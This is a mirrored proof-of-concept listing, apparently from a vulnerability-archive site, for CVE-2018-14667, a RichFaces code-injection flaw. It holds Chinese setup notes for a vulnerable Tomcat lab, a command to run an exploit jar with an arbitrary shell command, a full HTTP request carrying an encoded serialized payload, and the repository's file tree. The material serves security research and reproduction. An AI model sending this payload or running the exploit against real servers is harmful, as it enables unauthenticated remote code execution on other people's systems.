CVE-2018-14667 PoC — RichFaces Framework 代码注入漏洞

Source

https://github.com/Venscor/CVE-2018-14667-poc

Associated Vulnerability

Title:RichFaces Framework 代码注入漏洞 (CVE-2018-14667)
Description:The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.

Description

CVE-2018-14667-poc Richfaces漏洞环境及PoC

Readme

# CVE-2018-14667-poc Richfaces漏洞环境及PoC

## 靶场：vul_environment下的war包直接丢到tomcat即可

## PoC

```
build:build artifactId
run:java -jar CVE-2018-14667-poc.jar "cmd"
```
## about debug

直接将vul_environment下的war包下的war解压，然后从idea导入，并将tomcat下的lib添加到library path

## request demo：

```
GET /a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/-1487394660/DATA/eAF9kr9rFEEUx18Ogz-ihR4YUgi6itxZzDZaRYtwShT2FLJEMFbvZt-ds87OzM3MnovBdDY2FlpY2NkmlX-BrWCT!8BKRIQg2Du7eyQI4lTzZr7zfZ!3ZXZ!wqKzcE3bCcMcq-u5GzNLTpeWE9t0ZDfmxZVNK26jR6hX98aPDhxL4Ay3hJ4GWnlS3sO5JMcZxhLVJH4wyon71QSOU2VE8JzCDiwkcKLQmRgLyub14gxlSU1RmcBytbao2Bg5OcZ1YbQK3iz1odFdLTOyKc7IPvr88dab91-GHegkcJJLdO4-FvQ3Q-qtUJPAcMqFN1nj4eF8Syl0nJIVKMVzHElarUzd!lIdRT7SzjGSbEj-ic7uVCbwO6HVvcLI0cHy76VPZ4enASoLKy3uP7TTZHlp6!XXg06j6x7qjtw-vHyV!trav1krzLN38PbytqVpSc6zCflBPVOvf7hNNIbhw4EMm!Yyqk1ZHTfbKJUXBUWNvsXuRcHl6FyomX5KPVVK2WdUEe9F2pC6GK8ZIwVHH-Zz8QAlLyV6bRkaE!VfAJQWuo-bzNpW81T39h9--35he72hD59iwf8nDGNCvOYPxkraUw__.jsf HTTP/1.1
Host: localhost:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close


```

File Snapshot


 [4.0K]  /data/pocs/2f28daf142e1a2059a31c29dd3f411f0c3d8e093
├── [  80]  CVE-2018-14667-poc.iml
├── [4.0K]  out
│   └── [4.0K]  artifacts
│       └── [4.0K]  CVE_2018_14667_poc_jar
│           └── [ 18M]  CVE-2018-14667-poc.jar
├── [2.9K]  pom.xml
├── [1.3K]  README.md
├── [4.0K]  src
│   └── [4.0K]  main
│       ├── [4.0K]  java
│       │   └── [4.0K]  com
│       │       └── [4.0K]  venscor
│       │           └── [4.0K]  poc
│       │               ├── [3.5K]  CVE_2018_14667.java
│       │               └── [3.9K]  CVE_2018_14667_Poc2.java
│       ├── [4.0K]  lib
│       │   ├── [433K]  antlr-2.7.6.jar
│       │   ├── [534K]  antlr-3.0.jar
│       │   ├── [226K]  commons-beanutils-1.8.0.jar
│       │   ├── [558K]  commons-collections-3.2.jar
│       │   ├── [143K]  commons-digester-1.8.1.jar
│       │   ├── [ 37K]  commons-logging-1.0.4.jar
│       │   ├── [ 28K]  darkX-3.3.3.Final.jar
│       │   ├── [307K]  dom4j-1.6.1.jar
│       │   ├── [ 49K]  ejb3-persistence-1.0.2.GA.jar
│       │   ├── [ 84K]  el-api.jar
│       │   ├── [ 15K]  geronimo-jta_1.0.1B_spec-1.1.jar
│       │   ├── [ 31K]  glassX-3.3.3.Final.jar
│       │   ├── [273K]  hibernate-annotations-3.4.0.GA.jar
│       │   ├── [ 65K]  hibernate-commons-annotations-3.1.0.GA.jar
│       │   ├── [2.2M]  hibernate-core-3.3.2.GA.jar
│       │   ├── [ 61K]  hibernate-validator-3.1.0.GA.jar
│       │   ├── [616K]  hsqldb-1.8.0.2.jar
│       │   ├── [580K]  javassist-3.8.0.GA.jar
│       │   ├── [132K]  jboss-el-1.0_02.CR4.jar
│       │   ├── [ 16K]  jboss-seam-debug-2.2.0.GA.jar
│       │   ├── [289K]  jboss-seam-ui-2.2.0.GA.jar
│       │   ├── [ 91K]  jhighlight-1.0.jar
│       │   ├── [576K]  jsf-api-2.0.2.jar
│       │   ├── [295K]  jsf-facelets-1.1.15.B1.jar
│       │   ├── [1.7M]  jsf-impl-2.0.2.jar
│       │   ├── [ 20K]  jstl-1.0.jar
│       │   ├── [ 15K]  jta-1.1.jar
│       │   ├── [ 25K]  laguna-3.3.3.Final.jar
│       │   ├── [108K]  nekohtml-1.9.6.jar
│       │   ├── [1.1M]  org.jboss.seam-jboss-seam-2.2.0.GA.jar
│       │   ├── [ 51K]  persistence-api-1.0.jar
│       │   ├── [172K]  richfaces-api-3.3.3.Final.jar
│       │   ├── [1.5M]  richfaces-impl-jsf2-3.3.3.Final.jar
│       │   ├── [4.2M]  richfaces-ui-3.3.3.Final.jar
│       │   ├── [ 15K]  slf4j-api-1.4.2.jar
│       │   ├── [7.3K]  slf4j-simple-1.4.2.jar
│       │   ├── [125K]  stringtemplate-3.0.jar
│       │   ├── [ 34K]  themes-3.3.3.Final.jar
│       │   ├── [ 57K]  violetRays-3.3.3.Final.jar
│       │   ├── [1.2M]  xercesImpl-2.9.1.jar
│       │   ├── [107K]  xml-apis-1.0.b2.jar
│       │   ├── [ 24K]  xpp3_min-1.1.3.4.O.jar
│       │   └── [256K]  xstream-1.1.3.jar
│       └── [4.0K]  resources
│           └── [4.0K]  META-INF
│               └── [  69]  MANIFEST.MF
├── [4.0K]  vul_environment
│   └── [ 18M]  richfaces-demo-jsf2-3.3.3.Final-tomcat6.war
└── [2.3M]  资料.pdf

13 directories, 52 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!